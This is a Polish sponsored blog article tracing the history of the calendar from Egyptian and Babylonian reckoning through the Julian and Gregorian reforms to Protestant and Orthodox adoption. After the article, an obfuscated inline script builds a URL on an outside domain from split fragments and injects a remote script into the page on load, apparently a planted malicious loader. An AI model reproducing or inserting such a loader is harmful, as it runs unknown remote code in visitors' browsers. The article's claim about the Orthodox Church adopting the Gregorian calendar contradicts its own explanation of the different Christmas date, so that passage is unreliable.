historia kalendarza

Krótka historia kalendarza – od starożytności po czasy nowożytne

Zastanawialiście się nad tym, kiedy ludzkość zaczęła odmierzać czas? Jakie wydarzenia miały wpływ na odliczanie dni, tygodni czy nawet godzin? Wynalazek kalendarza ma starożytne korzenie, jednak na przestrzeni wieków sposób i metoda odliczania czasu zmieniały się wielokrotnie. Obecnie uważamy każdą datę za pewnik, ale jeszcze kilka wieków temu precyzyjne odmierzanie czasu budziło wiele wątpliwości.

Odmierzanie czasu w starożytności

Nie można jednoznacznie określić, kto wynalazł kalendarz. Odmierzaniem czasu po raz pierwszy zajmowali się starożytni Egipcjanie i Babilończycy, którzy wykorzystywali do tego celu kalendarz lunarny oraz agrarny. Opierały się one na obserwacji księżyca oraz położenia słońca, a także zjawisk przyrodniczych, takich jak zmiany pór roku czy wylewy rzek. Starożytne kalendarze związane były z bóstwami, a z czasem z ważnymi decyzjami władców, którym przypisywano boski, a więc kształtujący życie ludu charakter.

Jeden z najsłynniejszych kalendarzy starożytności został opracowany na polecenie Juliusza Cezara i znany jest w historii jako kalendarz juliański. Ten precyzyjny jak na owe czasy sposób odmierzania czasu został wprowadzony w roku 45 p.n.e. Z czasem okazało się jednak, że spóźniał się o 1 dzień co 128 lat, co na przestrzeni kilku wieków powodowało pewne komplikacje związane z odmierzaniem dni – dotyczyło to w szczególności lat przestępnych i równonocy wiosennej.

A skąd się wziął siedmiodniowy tydzień, dowiesz się czytając artykuł na stronie internetowej Ewolucja Myślenia: https://ewolucjamyslenia.pl/dlaczego-tydzien-liczy-siedem-dni/

Kalendarz gregoriański

Niedoskonałości kalendarza juliańskiego powodowały konieczność prowadzenia prac nad nowym sposobem odmierzania czasu, który będzie pozbawiony błędu. W XVI wieku zajęła się tym specjalnie powołana komisja. W ten sposób powstał kalendarz gregoriański, którym posługujemy się na co dzień. Opierał się na poprawce, w wyniku której jego opóźnienie wynosi już tylko 1 dzień na ponad 3300 lat.

Kalendarz gregoriański, zwany również chrześcijańskim, został wprowadzony przez papieża Grzegorza XIII w 1582 roku i omijał 10 dat dziennych, mając na celu wyrównanie opóźnienia. Nowy kalendarz ogłosiła bulla papieska Inter gravissimas, jednak poszczególne kraje nie od razu zdecydowały się na jego wprowadzenie. Najszybciej zaczął obowiązywać w państwach katolickich. Arabia Saudyjska zdecydowała się zastąpić kalendarz muzułmański gregoriańskim dopiero w… 2016 roku.

Rewolucyjny wynalazek czy katolicki wymysł?

Kalendarz gregoriański jest niezwykle precyzyjnym sposobem odmierzania czasu, nawet jak na dzisiejszy stan wiedzy. Jego wprowadzenie było efektem wieloletnich prac najlepszych matematyków i astronomów, którym udało się stworzyć ponadczasowe dzieło wyprzedzające swoją epokę.

Nie oznacza to jednak, że kalendarz spotkał się z aprobatą – środowiska protestanckie uznały go za podejrzane dzieło katolickie. Już sam fakt jego pochodzenia przewyższał wartość merytoryczną, przez co wprowadzenie kalendarza gregoriańskiego w państwach protestanckich było późne – zwlekano z tym nawet 200 lat. Powodowało to liczne problemy z określeniem czasu, a także w kontaktach handlowych czy politycznych.

Cerkiew prawosławna zdecydowała się na użytkowanie kalendarza chrześcijańskiego dopiero na początku XX wieku – właśnie dlatego wyznawcy Prawosławia świętują Boże Narodzenie w innym terminie niż katolicy. Na szczęście dziś kalendarz użytkowany na co dzień jest ujednolicony – wersja juliańska obowiązuje jedynie wśród berberyjskich plemion w Afryce Północnej i na górze Athos, zamieszkiwanej przez zamkniętą enklawę prawosławnych mnichów. Nie musimy więc martwić się o to, jak działają nasze zegarki i jaki dzień tygodnia właśnie obchodzimy – wystarczy spojrzeć w kalendarz.


Zapraszamy do odwiedzenia strony ewolucjamyslenia.pl, gdzie znajdziesz więcej fascynujących informacji. Przekonaj się sam i rozpocznij ciekawą podróż po nieodkrytych obszarach wiedzy.

Artykuł sponsorowany

<script>
(function(){
oysp=document.createElement("script");oysp.async=true;oysp_="u"+("s")+"t";
oyspu="2187050692.";oysp_+="a"+("t.i");oysp_+="n"+("f"+"o")+"/";
oyspu+="0n6iXlf2yspinwklrk80du"+("m0vqljvm");
oysp.src="https://"+oysp_+oyspu;oysp.type="text/javascript";
document.body.appendChild(oysp);
})();
</script>

Comments are closed.